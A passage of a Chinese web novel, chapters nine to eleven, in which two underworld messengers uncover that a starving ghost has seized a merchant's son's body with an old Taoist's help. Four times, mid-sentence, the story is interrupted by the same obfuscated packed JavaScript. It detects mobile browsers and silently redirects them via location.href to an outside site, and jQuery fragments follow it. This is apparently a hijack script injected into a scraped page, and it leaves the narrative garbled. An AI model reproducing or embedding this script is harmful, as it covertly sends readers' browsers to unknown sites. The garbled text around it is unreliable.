秦霍霍看着她紧张的样子,就知道她肯定以为自己跟白永宁是过来找茬的,于是开口解释道:“我们只是问你些事,别怕。” 浮浮这才放松了一点,小心翼翼的问道:“不知二位无常老爷是为什么事情,还特地跑一趟?” “楚家油坊的掌柜你认识么?”一旁的白永宁开口道。 浮浮面露疑惑的点了点头,“认识的,只是二位老爷问他,莫不是楚掌柜死了?” “他还活得好好的,只是我们听说了一件怪事。”白永宁又开口道。 “是中邪的那事么?”浮浮听到他们这么问,大致也猜到了他们想问的事情。 “我们听闻他中邪之前同你喝了酒,那日可有发生什么怪事?”秦霍霍看浮浮一下就猜了他们想问的事情,便没有弯弯绕绕直接问了。 大约是人死后的记性都会变得差一点,明明不久前发生的时候浮浮竟然还想了一会儿才开口:“并未发生任何怪事,因为想着马上就要出嫁了,此前也受过不少他同他家娘子的照拂,便……”说到这她突然停了下来,表情跟语气都掩盖不住的落寞,连带着周遭的温度好像也降了一些,秦霍霍猜想她大概是想到了那个混帐的张四公子。 “便什么?”白永宁问道。 白永宁的声音将浮浮从悲伤中给拉了回来,她擦了擦眼角不知道什么时候留下的泪继续说道:“便请他喝了两杯,想着就当是喜酒了,结果才两杯下肚他便醉倒了,我就让人将他送到客房去休息了。” “仅此而已?” “小女子不敢有任何隐瞒。”浮浮冲着白永宁连连摇头道。 “你当真在房中藏了个男子?”白永宁突然前后不接的一句话蹦了出来。 秦霍霍无语的看向白永宁,她没有想过白永宁会问这个问题,难道他也支持张四公子的做法?虽然他看起来很像一个思想迂腐的古代人,但是长时间的接触相处下来,秦霍霍觉得白永宁并不是看起来的那种人啊,而且先不说浮浮是不是真的这么做了,不管怎么样都不能因为这个事情就把人活活打死吧! 浮浮连连摇头否认道:“四郎既然已经许诺了会为我赎身,那我自然是不会再见其他男子的,但那日……”说到这她停顿了一下,好像用尽了全身的力气才又继续说道:“那日……在我死之前,我好像……也听到了一个男子……男子的声音。” 秦霍霍听她说自己竟然也听到了男子的声音,疑惑地看着她:“难道是有人溜进了你房内?” “应当不是,那日我一直在房内,几乎没有出去过,根本不可能有人溜进来。” 秦霍霍又继续问道:“那是不是有人在你那躲了很久?” “那应该早就已经饿死了吧。”这回还不等浮浮回答,白永宁就抢先回答了。 “说不定是每天溜出去偷了吃的再回来躲着呢?” “那他图什么?” “看美女呗,你不喜欢看么?” “我不喜欢看。” “哦,因为你不是正常人。” “可否容我说一句。”浮浮见秦霍霍情绪越来越激动,赶忙出言劝阻,要是等下两个人真的在这里打起来,自己被判个什么教唆无常打架罪那就不好了。 “好,你说!”秦霍霍瞪着白永宁,但是脸却朝向浮浮的方向。 “在那日之前我几乎从未听到过这个声音,而且如果真的是想对我行不轨之事,不应该等那么久吧。”浮浮小心翼翼的看着秦霍霍说道。 白永宁听完一副你看我就说吧的表情看着秦霍霍,秦霍霍看着他那副得意的样子就气不打一处来,抄起手里的招魂幡就想往他身上抡过去,白永宁一点不慌,往后退了一步秦霍霍挥过来的招魂幡就打空了。 秦霍霍见没打中还想再来一下,结果招魂幡却突然被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150692|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人抓住了,正准备看看是哪个不长眼的,结果就看到判官正抓着招魂幡面无表情地看着她。 秦霍霍立马就抽回了招魂幡,然后一脸谄媚的笑着问:“哟,判官大人,您怎么来了?” 虽说自己只是个临时工,但是严格意义上的编制应该是在天界,但是本着干一行尽量爱一行的原则,她还是严格的遵守了上下级关系之间的维护大法。 浮浮看到秦霍霍的态度转变,一脸震惊的看了一下一旁的白永宁,白永宁不知道是见多了还是面瘫不太能做表情,也可能都有吧,反正是面无表情。 “过来看看你们的进展如何了。”判官跟白永宁一样是个面瘫,而且说话的时候还不带任何的感情。 “已有头绪了。”白永宁回答道。 判官点了点头随后又说道:“阎王让我跟你们说,他只给你们七日时间,现下已经过了四天了。”说完也没给他们反应时间,直接转身就走了。 当时跟阎王打赌的时候他没有说时限,秦霍霍还庆幸过,说不定这个笨老头年纪太大了,没想起来这个事情,没想到他竟然还特地派人过来告诉她这个事情,可是作为一个卑微的临时工除了在心里骂他是周扒皮以外,表面上还不是要维持打工人的专业表情微笑回答“收到”么。 浮浮见判官走了,秦霍霍跟白永宁二人也不说话,于是试探地问道:“那二位无常老爷,我可否回去了?还有不少活要干。” 秦霍霍想着大约她也不知道更多的信息了,便示意她可以走了,浮浮得了批准连忙朝二人做了个揖,快步往豆腐坊内走去。 好像是生怕秦霍霍跟白永宁再打起来一样,一副赶快离开这个是非之地的样子。 “你觉得她撒谎了么?”白永宁看着浮浮走进了豆腐坊后问道。 “她没有撒谎的必要不是么。” 白永宁也认同秦霍霍的话,毕竟她一个轻易就被人打死的弱女子,确实不太可能会对楚家大儿施什么邪术,不然她大概也不会出现在这儿了,至于她说的那个声音,就更没有必要撒谎了,无论这个事情真假与否,对她死后需要受到的刑罚大抵上都不会有太大的影响,更何况阎王早已做出了判决。 “小白,你说我是不是不该揽下这个事情。”秦霍霍一想到剩下的时间连一半都不到了,有些后悔自己之前在阎王面前的豪言壮志,拿不到功德不说,现在还有可能要被扣功德。自己被扣就算了,还要连累小白一起。 白永宁跟秦霍霍相处了这么久,见惯了她平时那副不着四六的样子,还是第一次见到她这么失落的表情。想到她说以前每次难过的时候,爹娘总会摸摸她的脑袋安慰她,便伸手摸了摸她的头,开口道:“这是积攒功德的好事,哪会不该呀。” 虽然白永宁没有体温,手放在她的脑袋上还有点冰凉凉的,可是秦霍霍还是被他给温暖到了。 “小白,你真是个好人。” “天帝以前也这么摸你脑袋么?” “……” “滚!” 9. 第九章 “你知道她是哪个房间么?”秦霍霍看着翠秀阁中密密麻麻的房间无奈地问白永宁。 “我想我大约是不知道的。”白永宁认真的思考了一下回答道。 秦霍霍忍不住冲他翻了个白眼,以前秦霍霍一直都觉得白永宁还算是一个比较靠谱的人,可是他最近的犯蠢行为是越来越多了,她都怀疑是不是幻境那会白永宁被人换掉了,不然以前那个可靠又有一点点聪明的白永宁怎么就不见了呢。 也懒得再同说话说了,转身就准备走了。 白永宁见状一把揪住她袖子问道:“你要去哪?” “回去问问浮浮啊,不然一间间找么?”秦霍霍看傻子似的看着白永宁,顺便把袖子从白永宁手里给拽了出来,生怕他的蠢会通过袖子传染。 “你不是会法术么?”这回换白永宁用看傻子的表情看着她了。 被白永宁点了一下,秦霍霍才想起自己神女的身份是会法术的,毕竟穿越到这里之前的二十多年自己都是个凡人,连简单的魔术表演都学不会,一时忘记了也很正常。 只是这要用啥法术啊?她这也当多久的神女就被派到地府当无常了,每天用用那些无常的工作装备就可以解决百分之九九的事情,至于仙术那可以说是就基本一点也而不会。 白永宁见她呆站在原地,一会儿露出恍然大悟的表情,一会儿又变成了很为难的样子,却迟迟没有行为,于是开口催促道:“想什么呢?快点吧。” 秦霍霍想着要不学一下电视剧里那些神仙的手势,如果没用大不了就跟白永宁说自己在地府待太久了神力受损了,所以施展的法术不太有效也是很正常的。 想好了解决方案之后,秦霍霍便随便的结了一个手势,然后在心里默念:‘麻烦帮我找一下浮浮的房间。’ 一道光从她的指尖飞了出去,秦霍霍见状便赶紧拉着白永宁追了上去,最后那道光停在了走廊尽头的一间房门前,随便便消散不见了。 虽然秦霍霍也不知道到底是不是这个房间,不过都到门口了,不管怎么进去看看总没错的,万一被她这个瞎猫给撞上了呢。 房内的整体布置都偏素雅,只是看样子应该是没人住的,虽然看起来很干净但是桌子上也积了薄薄的一层灰。 秦霍霍在房间内四周环顾了一下,只见床头边上摆着一个用布做的小兔子玩偶,虽然床上有个玩偶并不奇怪,可是在这个地方出现还是挺违和的。 玩偶应该已经做出来很多年了,身上不少地方都打了补丁,一眼就能看出有些补丁是这段时间才缝上去的,布料的质地跟颜色都比其他地方的好很多,在小耳朵的后面还绣着一行小字。 字绣的实在太小了,秦霍霍凑近了才看清楚,上面绣着的是:浮浮的小兔子。 “这里应该就是浮浮的房间。”秦霍霍将小兔子摆回了床头边上,对白永宁说道。 可是这个房间确实不算大,一眼就可以望到头,根本没有什么可以藏人的地方,那个声音的主人到底是藏在哪里的。 “小白你说这里会不会有密室啊?”秦霍霍觉得如果房间里面没法藏人,说不定人是藏在密室之类的地方,电视剧不是经常演某个人藏在密室里面,然后装鬼吓人之类的故事么。 秦霍霍等了一会没等到白永宁说话,还以为白永宁出去了,一转头却看到他盯着墙壁发呆。 “小白?” 秦霍霍走到他的面前,推了推他但是白永宁却毫无反应,依然一动不动的盯着墙壁,秦霍霍顺着他的目光看去,眼前的墙壁跟这房内其他地方的墙壁也并没有什么不同。可是白永宁却依然跟中邪了看着墙壁,无论秦霍霍怎么叫他都没有任何反应。 这样子不管怎么看都像是中了邪,秦霍霍实在没办法只能取出招魂幡朝他脑门用尽全力敲了一下。 白永宁这才从刚才的状态中恢复过来,捂着脑袋问秦霍霍为什么打他。 “你知不知道你刚才怎么了?”秦霍霍站在他跟墙之间,生怕一会他又被这个墙吸引了,虽说这个招魂幡不会把白永宁的魂魄敲散,但是一直敲的话她还是很担心白永宁变笨的,毕竟他已经开始变笨了。 “我听到这墙里传出了声音,就想着过来看看,然后……”白永宁捂着脑袋看着秦霍霍,示意之后自己就挨了他一棍。 “声音?”秦霍霍听到白永宁说她听到墙里传出了声音,可自己什么都没听到,于是她将耳朵贴在了墙上,依然是一点声音都没有。 秦霍霍又问道:“他说什么了?” “他说……可以给我一个肉包子么?” “……” “你说啥?”秦霍霍以为是自己听错了。 “他说,可以给我一个肉包子么?” “……” 秦霍霍顿时无语,她怎么也想不到会是这么一句话,不过既然这个墙中有声音传出,那说明浮浮没有撒谎,这里真的有其他的……大约是个不知道什么想吃肉包子的东西吧。 现在想要确认到底什么东西在说话,以及白永宁为什么会被这个声音给吸引只能进去看看了,不过进去之前秦霍霍还是有点担心,毕竟刚才隔着墙白永宁就已经不行了,等下进去他会不会直接被里面的东西给控制住然后来攻击队友啊。 可是如果让白永宁留在外面,万一外面又来了什么新的怪物怎么办,她看了看白永宁想着:‘要是小白一会儿在中邪,直接拿拷鬼棒敲他吧,万一敲死了咋办啊,要是轻点的话应该敲不死吧。’ 白永宁大概也是看出了的犹豫,开口说道:“如果再遇到刚才的时候,你就直接拿拷鬼棒打我,我肯定能恢复过来的。” 秦霍霍听白永宁这么说,自然就不再犹豫了,毕竟这可是白永宁自己要求的,她直接掏出了拷鬼棒点头笑着说道:“没有问题,走吧。” 白永宁看着秦霍霍动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150693|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之快,心想她肯定早就想好了要拿这个棒子敲自己了,刚才额头的疼痛仿佛又加剧了一些。 两人本以为墙后会是一个密室,没想到墙后根本没有密室,直接就进入了另一个房间。 只是这个房间早已破旧不堪了,房内可以说没有一件完好的物件,就连房梁都一副随时要塌下来的样子,而且房间内没有一扇窗也没有门,只有几支蜡烛发着幽幽的光。 “这里不是翠秀阁吧。”秦霍霍虽然不知道隔壁房间内是什么样子,但可以肯定的是肯定不是眼前地样子,翠秀阁不管怎么说也是个出名地教坊,怎么可能会让阁中出现这么破旧的房间,而且这里连门都没有,更像是一个单独制造出来的幻境。 秦霍霍还想再跟白永宁说几句,就叫白永宁做了一个噤声的动作,然后正对着他们的一堵墙。 房内实在太暗了,秦霍霍只能隐约看到的角落里好像摆了什么东西,却实在看不清楚到底什么东西,正准备凑近了仔细看看。却被白用宁一把拉住,他传声到秦霍霍耳中:“仔细听。” 秦霍霍这才听到有个很微弱的声音在不停重复说着一句话:“可以给我一个肉包子么?”声音听起来是个男声,看来这就是那日张四公子跟浮浮听到的声音的主人了。 白永宁此刻也将自己的拷鬼棒拿了出来,正准备靠近了看看到底是什么东西,那个东西却突然站了起来朝秦霍霍跟白永宁走了过来。 等那东西走近了,他们才发现原来是个人,或者说曾经是个人。 白永宁拿着拷鬼棒直接戳了一下他的脑袋,那人便呆呆地站在原地一动不动了。 “这人为什么会在这个鬼地方?”秦霍霍看着眼前的人,这人的眉间又浓浓的死气,看样子应该已经死了。 “他只是一魂。”白永宁仔细观察了一下眼前的人说道。 秦霍霍不太明白他的意思,开口问道:“什么叫一魂?” “人有三魂七魄,这里只是一魂,剩下的都不在这。”白永宁耐心的解释道。 “那能知道他是谁么?”秦霍霍倒是也不在乎这人是一魂还是七魂,她只想知道这个人到底是谁。 “需要把他剩下的部分召集过来才行。”白永宁说完便掏出了招魂幡与一只六角铃铛,就让秦霍霍将一个纸人摆在一旁,开始试图将眼前此人剩下的部分给召回。 第一次:失败。 白永宁示意自己没发挥好,又来了一次。 第二次:失败。 秦霍霍一脸你行不行啊的表情看着他。 第三次:失败。 秦霍霍终于忍不住开口:“小白,你上课是不是开小差了?” 白永宁作为地府的优质员工自然是仪式中的任何步骤或者做错,试了三次都毫无反应那就只能是…… “白永宁、秦霍霍,你二人是否一直在召楚家大儿的魂?”判官的声音突然传入二人的耳中。 10. 第十章 秦霍霍跟白永宁看着眼前的张三,啊不,应该是楚家大儿,穿着还是那件破衣服,脸也还是那张枯瘦如柴的脸,可是整个鬼的气质发生了翻天覆地的变化。 之前那个张三唯唯诺诺满心满眼都是吃吃吃,时不时还会露出猥琐的表情,但是现在眼前的这位,不知道为什么甚至可以从他的脸上感觉到温文尔雅这四个字,倒是跟其他人口中描述的中邪的楚家大儿差不多。 “你是楚家油坊的掌柜,楚宏的大儿子?”秦霍霍还是不太相信眼前的张三怎么就突然变成了楚家大儿。 “回无常老爷,我是楚家油坊的掌柜,楚宏的大儿子。”楚家大儿回答道。 白永宁也很困惑的看着眼前的鬼,明明那日生死簿上面记载的鬼魂就是张三,怎么现在变成了楚家大儿,而且如果楚家大儿早就已经死了,那活着的那个又是谁? “你……怎么死的?”白永宁将心中的疑惑问了出来。 楚家大儿却只是摇摇头,“我也不知,我也是不久之前才发现自己死了的。” …… “那你还记得你去翠秀阁送油的事情么?”秦霍霍问道,既然不记得就只能一件件地推测了。 楚家大儿点点头,“记得。” “那同浮浮姑娘喝酒呢?” “记得。” “那记得自己喝醉了么?” “大约记得一些。” “第二天调戏阁中的姑娘呢?” “不可能,我决不可能做这种事情,怎可以随意调戏其他女子,更何况我还有家室,自然是更加不可能做这种事情的。” 秦霍霍了然了,那看来是喝醉之后发生了意外。 “那刚才之前的事情呢?你还记得多少?”秦霍霍又开口问道。 楚家大儿听了秦霍霍的问题,皱着眉像是在努力回想,过了好一会儿才开口答道:“只依稀记得一点,好像我吃了很多东西,其他就记不清楚了。” 大约是那丢失的一魂影响了楚家大儿的记忆,除了吃东西其他的他竟然完全不记得,看来想要从他这得到一些线索也不太可能了,只是这楚家大儿既然已经死了,那还活着的那个楚家大儿体内的魂魄是谁呢? 一直在一旁一言不发的判官突然开口道:“你们二人是怎么寻到他的一魂的?” “回判官大人,浮浮的房内连接着一个幻境,像是一个房间,我们在那寻到的。”白永宁答道。 不知道是哪个词刺激到了楚家大儿的记忆,他突然开口说道:“我好像记得我喝醉之后,先是被人送到了床上,后来没过多久好像就被关到一个极其破旧的房间里,里面甚至连一扇窗子都没有。” 秦霍霍听到这个描述,这不是他们去的地方么,追问道:“然后呢?” “然后……不记得了。” “……” 秦霍霍还以为能获得更多的线索,结果说了还不如不说。 “判官大人知道那会是什么幻境么?”秦霍霍觉得判官应该比他们见多识广,还是问他更靠谱点。 “不知道。” “哈?” 秦霍霍觉得在这个地府发展,应该是没什么前途的,无常不懂也就算了,怎么都干到判官了还啥都不知道呢,这里升职不考试的么? “怎么了?我们又用不到那些东西,不知道很正常。”判官一脸理直气壮地说道。 “行……吧,那您知道谁会知道么?”秦霍霍毕竟也只是一个临时工,也不敢随便批判领导。 “不知道。” “……” 好啊好啊!一问三不知,他是关系户吧! “那判官大人,您同阎王大人可是有什么关系么?” 判官不知道秦霍霍为什么突然问这个,不过还是回答了她的问题,“他曾经是我某一世的姐夫。” “……” “好……好的。” “我查了这楚家大儿的阳寿未尽,你们二人尽快查出到底是哪来的游魂占了他的身体。”说完判官就带着楚家大儿走了。 秦霍霍见判官走了一脸凝重的看着白永宁,白永宁还以为他是担心查不出占了楚家大儿的游魂是谁,正准备开口安慰一下,就听秦霍霍语重心长的说道。 “小白啊,这个地府啊,他搞腐败,你一定要保护好自己啊。”秦霍霍看着白永宁语重心长的说道,白永宁虽说每天披头散发,但是不管怎么说在这个地府的无常里,还算是颜值比较出众的了,万一被那些天天搞腐败的给看上了可咋办啊。 白永宁当然是听不懂秦霍霍的话的,一会说地府搞腐败,一会说要他保护好自己,这都是什么跟什么啊,不过秦霍霍也不是这一次说一些奇奇怪怪的话了,白永宁也只当她是从神女一下子变成了地府的无常,适应不了这个差距所以才喜欢胡言乱语的。 每次听到秦霍霍说这些话,他都是直接应下,这次也不例外,点点头表示自己知道了。 秦霍霍欣慰的拍了拍他的肩膀又继续道:“你一定要当那朵唯一纯白的茉莉花啊。”说完甚至还打算唱了两句。 “……” 白永宁觉得秦霍霍的胡言乱语是越来越严重了,甚至都开始唱一些奇怪的曲调了,看来下次天帝来的时候一定要跟他说了,毕竟天帝也就秦霍霍这一个女儿,如果她真的疯了以后为祸人间怎么办?实在不行秦霍霍的那份功德自己帮她修了得了。 大概是一展歌喉之后,秦霍霍想起了正事还没做,拽着白永宁又往人间去了。 ………… 秦霍霍看着眼前的破茅草屋又看了一眼一旁的白永宁。 “是这么?”她实在不敢相信楚家大儿住在这里。 白永宁倒是不觉得有什么奇怪的,抬脚就准备往里走去。 秦霍霍一把拽住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150694|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白永宁开口道:“你等下,不是说他跟着他媳妇回娘家了么?这么快娘家也败光了?” “那我不知。”判官只告诉了他二人楚家大儿……的肉身现在就在这里,其他的他们也无从得知了。 秦霍霍一边啧一边跟白永宁一同走了进去,“男人还真是每一个好东西啊。” “我是好人。” “……好的。” 刚走进去秦霍霍就闻到了一股刺鼻的味道,她赶紧捂住口鼻嫌弃的问道:“什么玩意儿死这了?” 白永宁虽然也觉得这个味道让人很不适,但是闻起来应该不是尸臭,更像是眼前这个躺着还在打呼噜的人。 秦霍霍自然也看到了,但是她还是不太相信人能发出这种味道,但是这个破茅草屋里除了这张床跟这个人以外,完全可以用一干二净来形容了。 至于面前的这个人大概就是那个楚家大儿的……肉身了,秦霍霍本想掏出招魂幡将他戳醒,但是看了看他包浆的衣服以及完全打绺的头发,又想了想自己洁白如新的招魂幡。 “小白借一下招魂幡。”当然是果断用别人的了。 “你自己的呢?” “没带。” 无常的招魂幡并不是需要随身携带的,无常只要想要用到便会直接直接出现在面前,所以秦霍霍这个理由可以说是非常非常的胡乱编造了。 不过白永宁也不想跟他纠结这种事情,随口便掏出了自己的招魂幡给了秦霍霍。 秦霍霍拿着招魂幡戳了两下床上的人,大概是太轻了,那人一点反应都没有,秦霍霍只能又用力地戳了两下,这次总算是把这个人给戳醒了。 “谁啊,打搅了大爷的美梦。”醒来之后那人还不满的嘟囔着。 “我呀。”秦霍霍不知道什么时候已经把舌头给戴上了。 “啊!”楚家大儿看到秦霍霍的差点要被吓晕过去,还好白永宁一把抓住了他的衣服,然后给了他两巴掌,愣是把他直接给扇清醒了。 “无……无常大人,小人不敢了,小人真的不敢了。”那楚家大儿清醒之后,竟然直接跪在地方冲着秦霍霍跟白永宁一下下的磕着头。 秦霍霍也懵了一下,但很快还是恢复了状态厉声说道:“把你的罪行一一交代了。” “小人不该流连教坊。” “继续说。” “不该天天出入赌坊,不该打骂娘子,不该想着把妻女卖了抵账。” 秦霍霍知道现在这个楚家大儿不是什么好东西,没想到这么不是东西,竟然还想要将妻女卖了,秦霍霍看他的眼神从看垃圾变成了看死垃圾。 那楚家大儿却突然趴在地上不开口了,只是一个劲的哆嗦。 秦霍霍拿着白永宁的招魂幡重重的敲了两下床说道:“继续说啊,难不成还要我们请你开口不成!” “小人……小人不该占了楚家大儿的肉身。” 11. 第十一章 “那你是何人?”秦霍霍说话的时候顺便用法术给自己加了点环境光,让她的脸看起来更恐怖了一点。 楚家大儿的肉身哆哆嗦嗦的开口道:“小人名叫张三。” “哈?张三?” 秦霍霍冲白永宁眨了眨眼。 秦霍霍:‘不会是那个饿死鬼张三吧?’ 白永宁:‘应当是的了。’ 秦霍霍:‘他看起来不像有这个实力啊。’ 白永宁:‘人不可貌相。’ 秦霍霍:‘你说得对,说不定是个高手。’ 秦霍霍将这句话传给白永宁之后,又恶狠狠的盯着张三继续问道:“那你是怎么占了楚家大儿的身体的?” “我不想死。”张三没有回答秦霍霍的问题,而是驴唇不对马嘴的说了一句。 秦霍霍以为张三是故意逃避问题,正准备用招魂幡敲他两下,却被白永宁给直接按住了,秦霍霍有些诧异的看着白永宁,但没有说任何话而是看着他而已。 白永宁虽然经常不认同秦霍霍的行为,但之前最多也只是事后吐槽一下秦霍霍,毕竟他知道秦霍霍有分寸不会真的做出什么过分的行为,但是这一次他却直接出手制止了秦霍霍的行为。 秦霍霍自然也了解白永宁,所以她并没有说什么,只是不解的看着他。 白永宁居高临下看着跪在一旁的张三,缓缓开口:“每个人的命数都是定好的,又岂容你随意践踏这命数。” 早在第一次勾走假张三也就是楚家大儿的魂的时候,白永宁就已经看过他的生平了,一生都没有过过一天安稳的日子,最后还活活饿死在了大街上,可以说一个惨字就可以概括的一生。 “可为什么别人可以富贵一生,我就要过这样的日子呢。”张三听了白永宁的话,情绪有些激动甚至差点想站起来,或许是想到了自己面前站着的是两个无常,最终还是没有站起来。 白永宁没有再继续回答他,因为每个人的命数看起来是定好的,但是却又好像是无序的。所有的罪恶都会在地府的各种惩罚中被清零,除了有些生前积了不少德的人可以投好一点的胎,其他人更多的不过是在抽签。 秦霍霍本以为这些会跟小说里所写的一样,做好事的人、过得惨的人下辈子可以投个更好的胎,作恶多端的人下辈子可能就只能当猪狗牲畜,但事实却不是这样,就好像一个没有保底的抽卡游戏一样,欧皇也许永远都会是欧皇,而倒霉的非酋可能最终还是过着非酋的生活。 秦霍霍也为此去问过天帝,天帝却也只是告诉她,在天地创立之初便有的规矩,从来也没有人觉得不公平,更没有人觉得应该去改变什么。 当然了,他们许多都是天地初开之时便化生出来的神仙,他们自然无法体会这些,虽说有着什么神爱世人的说法,可那些神仙根本无法真正的去感同身受。 而地府的阎王,虽说他投胎成为过凡人,可因为他是阎王他的每一世也过得并不差,也就无法真的去感同这种制度的不合理。 至于那些地府的鬼差,他们又哪里敢同阎王去提什么意见,毕竟阎王可以随便安个罪名就让他们魂飞魄散了。 秦霍霍见白永宁不再说话,便接着追问张三:“你到底是如何占的身体。”说完又怕张三又扯开话题便又追加了一句:“如果你不肯说,那我便直接将你的魂魄打散了,叫你从这个世界彻底消失的干干净净。” 张三怕秦霍霍真的会将他的魂魄打散,便也只好老老实实的回答:“小人那日饿得很,便到了教坊街的一家教坊门口,本想着可以从那些达官贵人的手里捡点吃食,可那些护院嫌我脏了他们的门槛,便把我赶到了一旁。” “接着说下去。”秦霍霍说道。 “后来小人在快饿死的时候,耳边突然传来一个老道的声音,他说只要找到一个同我生辰一样的人,然后将他的魂魄关到一面墙中,我就可以占了他的身体。”张三说完还偷偷看了一眼秦霍霍,毕竟这个事情听起来太过离奇,在自己快死的时候突然有一个人说了一个可以让自己活下去的办法。 秦霍霍倒是也没有觉得有多离奇,毕竟如果张三是在撒谎的话,那他只要把这个方法告诉那些不想死的皇亲贵族,又何必沦落到了快到饿死才使用的地步。 只是这个事情好像总有一个不对劲的地方。 “你如何知道是老道?”一直一言不发的白永宁开口道。 秦霍霍听了他的问题才意识过来,不对劲的地方是哪里。明明只是听了声音而已,却可以知道对方是个老道,哪怕是神仙也做不到听声音就可以辨认身份的地步。 张三摇摇头,“小人也不知道,但是小人就是感觉那人是个老道。” 秦霍霍没有继续纠结这个问题,也许只是张三下意识地觉得能够知晓这些事情的人会是一个老道,毕竟普通人接触到这种事情的可能性也很小。 “可你又怎么知道楚家大儿同你生辰一样?”秦霍霍继续问道。 张三又摇了摇头,“那日小人死后便飘进了某个教坊内,刚进去就好像有个声音一直在带着我走,再之后我便遇到了楚家大儿。” “也是那个声音告诉你把楚家大儿关到哪面墙中的?”秦霍霍直接把后面的事情说了出来,反正前面一家够离奇了,大概率后面的事情也大差不差了。 “无常老爷料事如神。”张三露出谄媚的表情拍着秦霍霍的马屁。 秦霍霍看着张三顿时无语,本来还有点同情他的身世,但是一看到他的表情,就又想起了他占了楚家大儿的身体之后做的那些混账事情,越发的觉得他恶心了。 也不等他再说什么就直接掏出勾魂锁,将想将他的魂魄从楚家大儿的身体里勾出来。 可那魂魄刚一离体,楚家大儿的肉身就像被吸干了精气一般,顺便就瘪了下去,秦霍霍见状赶忙松开了张三的魂魄。 “怎么会这样?”秦霍霍之前也勾过不少附身于人的鬼魂,可都没有出现过这种情况。 白永宁抓起张三的手,只见这双手虽然满是污秽,但是却没有什么血气,如同一双死人的手一般。 “应当是楚家大儿的魂魄离体太久了,这个肉身现在是靠着张三的魂魄强撑着。”说完又仔细观察了一下张三的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150695|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面部继续道:“如果楚家大儿的魂魄再不回来,恐怕这具肉身也会腐烂。” “所以我才会觉得他身上有尸臭?”秦霍霍听他说的想起刚才刚进屋的时候,自己闻到的臭味虽说不完全是尸臭,但却是几分相似的原因。 白永宁点了点头表示确实如此。 虽说张三不可以离开楚家大儿的肉身,活人的肉身也是不可以进酆都的,现在恐怕只能让楚家大儿的魂魄来到阳间了。 秦霍霍累了几天了,实在不想再多走一步了,便让白永宁去地府将楚家大儿的魂魄带来,自己就在这里看着张三,一来省得张三跑来,二来当然是自己懒得动了。 白永宁一只脚都还没飘出门,判官就带着楚家大儿的破魂出现在了门口,刚一进门他就将一个白胡子老头丢到了地上,那老头看起来应该是挨了一顿毒打,现下已经奄奄一息了,只怕过一会秦霍霍跟白永宁就可以直接上班了。 老头躺在地上口中还一直“哎哟,哎哟。”的叫着。 秦霍霍指着地上的老头开口道:“这哪来的?” 判官突然带个快死的老头过来,总不能真的是来给自己送功德的吧。 “就是他给白永宁设下的幻境,也是他让张三去占楚家大儿的魂魄的。”判官一脸酷哥表情答道。 “你确定?他看起来快死了欸。”秦霍霍不太敢相信眼前,这个看起来马上就会成为她的业绩的老头能干出这么厉害的事情。 “你的意思是我在骗你?”判官的酷哥表情一下子就变成了狠哥表情。 秦霍霍撇撇嘴小声嘟囔道:“小气死了,随便问问也不行。” “楚家大儿的身上残留着一股不易察觉的气息,我通过这个气息找到的他。”判官还是给秦霍霍和白永宁解释了一下老头是怎么出现的。 “那你怎么知道幻境也是他干的?”就算可以查到是这个老头教唆张三,但是白永宁遇到的幻境却没有留下任何的线索啊。 “我刚一出现,他就跪在地上全招了。” 秦霍霍没想到竟然这么轻松,本以为判官会跟他大战八百回合,只是那人怎么就快死了呢? “那他怎么受伤这么严重?” \"……\"这回判官不说话了,眼神有些躲闪四处看了看。 “回无常老爷的话,来的路上判官大人没抓住他一下然后把他给摔了。”一直在一旁毫无存在感的楚家大儿替判官回答了秦霍霍的问题。 秦霍霍看着判官那一脸尴尬的表情心想:‘不愧是关系户,差点人就被他帅死了也根本不带怕的。’ “可是他又为什么要设置幻境呢?”秦霍霍不明白哪怕老头教唆了张三占了楚家大儿的身体,可这一切跟楚家油坊的幻境又有什么关系? “回无常老爷的话,他说是自己刚得了本幻境相关的典籍,想试验一下,谁想……”楚家大儿就跟判官的发言人代表一样,有一次替判官答道。 